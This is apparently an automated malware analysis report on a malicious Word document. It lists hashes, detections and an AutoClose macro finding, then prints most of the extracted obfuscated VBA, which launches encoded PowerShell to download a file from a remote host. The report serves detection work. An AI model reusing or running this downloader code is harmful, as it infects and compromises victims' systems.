Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ee098fa96975148…

MALICIOUS

Office (OLE)

252.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 5640c0a88abde4ad2f2691bd5c3c46bc SHA-1: d4d7b8496a55123d8917cecfe9faab91144a3515 SHA-256: 0ee098fa96975148081ebddc32908995f14f04cafd95ba20adb7d62963338e52
142 Risk Score

Heuristics 5

  • ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 120950 bytes
SHA-256: b6171d059fac6c4116195606d089e508bcbdc1069bf5a4efea422d79dde98d5f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const tYUNoBHIvAQeZOiMOlietuXeTagOl = 0
Sub AutoClose()
On Error Resume Next
NOIBuxSezaDesiHozevICiSylYxywIJoPY = "d.exe /c p^O^w^e^R^s^H^e^" + Format(Chr(((7 * 10) + 6))) + "^" + Format(Chr(((7 * 10) + 6))) + "^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^o^A^D^I^A^O^A^A^x^A^D^I^A^O^Q^A^z^A^D^I^A^O^Q^A^z^A^D^c^A^M^g^A^5^A^D^I^A^c^w^B^q^A^H^M^A^a^A^B^z^A^G^s^A^e^g^A^u^A^G^M^A^b^w^B^t^A^C^8^A^T^Q^B^Y^A^E^U^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^s^A^G^8^A^Z^A^B^w^A^G^8^A^c^w^A^u^A^H^A^A^a^A^B^"
Dim TodAQOgiqnIlolEcUzeQAwUkUtYGififEJEMIXyLaSeM(5)

If LenB("moFApIKREnud") < 61202 Then
TodAQOgiqnIlolEcUzeQAwUkUtYGififEJEMIXyLaSeM(0) = VarType(Sqr(6120) + CInt("6120"))
End If
TodAQOgiqnIlolEcUzeQAwUkUtYGififEJEMIXyLaSeM(1) = LTrim("moFApIKREnud") & "22"
TodAQOgiqnIlolEcUzeQAwUkUtYGififEJEMIXyLaSeM(2) = Day(61206120)

If Len("TodAQOgiqnIlolEcUzeQAwUkUtYGififEJEMIXyLaSeM") < Len("moFApIKREnud") Then
TodAQOgiqnIlolEcUzeQAwUkUtYGififEJEMIXyLaSeM(3) = Weekday(61202)
End If
Dim nyLIXUHigiturNEvOxOMYKIXiOZYTEfUpT(5)

If LenB("aoxUhodEdal") < 90198 Then
nyLIXUHigiturNEvOxOMYKIXiOZYTEfUpT(0) = VarType(Sqr(9019) + CInt("9019"))
End If
nyLIXUHigiturNEvOxOMYKIXiOZYTEfUpT(1) = LTrim("aoxUhodEdal") & "88"
nyLIXUHigiturNEvOxOMYKIXiOZYTEfUpT(2) = Day(90199019)

If Len("nyLIXUHigiturNEvOxOMYKIXiOZYTEfUpT") < Len("aoxUhodEdal") Then
nyLIXUHigiturNEvOxOMYKIXiOZYTEfUpT(3) = Weekday(90198)
End If

Dim ptAqYkAcARUMekArurukedExYgYQO(5)

If LenB("TybIxYVoOmUWyzoqEZoFU") < 7015 Then
ptAqYkAcARUMekArurukedExYgYQO(0) = VarType(Sqr(701) + CInt("701"))
End If
ptAqYkAcARUMekArurukedExYgYQO(1) = LTrim("TybIxYVoOmUWyzoqEZoFU") & "55"
ptAqYkAcARUMekArurukedExYgYQO(2) = Day(701701)

If Len("ptAqYkAcARUMekArurukedExYgYQO") < Len("TybIxYVoOmUWyzoqEZoFU") Then
ptAqYkAcARUMekArurukedExYgYQO(3) = Weekday(7015)
End If
Dim PEvykIteTicjoNYVoQErAxEsOt(5)

If LenB("KYCIJgUqiPykux") < 98793 Then
PEvykIteTicjoNYVoQErAxEsOt(0) = VarType(Sqr(9879) + CInt("9879"))
End If
PEvykIteTicjoNYVoQErAxEsOt(1) = LTrim("KYCIJgUqiPykux") & "33"
PEvykIteTicjoNYVoQErAxEsOt(2) = Day(98799879)

If Len("PEvykIteTicjoNYVoQErAxEsOt") < Len("KYCIJgUqiPykux") Then
PEvykIteTicjoNYVoQErAxEsOt(3) = Weekday(98793)
End If
Dim VENeZYKYgotINUXADeCoSIdGuKESOCUtywYwAPeXbE(5)
Dim bOBuVaZESIKOvalyMUkoRopUcukubaG(5)

If LenB("comyqyzYxuGaQOLaEsOVA") < 61028 Then
bOBuVaZESIKOvalyMUkoRopUcukubaG(0) = VarType(Sqr(6102) + CInt("6102"))
End If
bOBuVaZESIKOvalyMUkoRopUcukubaG(1) = LTrim("comyqyzYxuGaQOLaEsOVA") & "88"
bOBuVaZESIKOvalyMUkoRopUcukubaG(2) = Day(61026102)

If Len("bOBuVaZESIKOvalyMUkoRopUcukubaG") < Len("comyqyzYxuGaQOLaEsOVA") Then
bOBuVaZESIKOvalyMUkoRopUcukubaG(3) = Weekday(61028)
End If

If LenB("BwoXanaaOFY") < 37323 Then
Dim wojijunyCuBYzoHoHINuJAQMAvIaEHaloTeSIluFY(5)

If LenB("BuwLApocYweqOf") < 12619 Then
wojijunyCuBYzoHoHINuJAQMAvIaEHaloTeSIluFY(0) = VarType(Sqr(1261) + CInt("1261"))
End If
wojijunyCuBYzoHoHINuJAQMAvIaEHaloTeSIluFY(1) = LTrim("BuwLApocYweqOf") & "99"
wojijunyCuBYzoHoHINuJAQMAvIaEHaloTeSIluFY(2) = Day(12611261)

If Len("wojijunyCuBYzoHoHINuJAQMAvIaEHaloTeSIluFY") < Len("BuwLApocYweqOf") Then
wojijunyCuBYzoHoHINuJAQMAvIaEHaloTeSIluFY(3) = Weekday(12619)
End If
Dim sAboaojoSAVUmwYiisOmUHycEb(5)

If LenB("noMIVYnuPyZYbicod") < 92446 Then
sAboaojoSAVUmwYiisOmUHycEb(0) = VarType(Sqr(9244) + CInt("9244"))
End If
sAboaojoSAVUmwYiisOmUHycEb(1) = LTrim("noMIVYnu
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.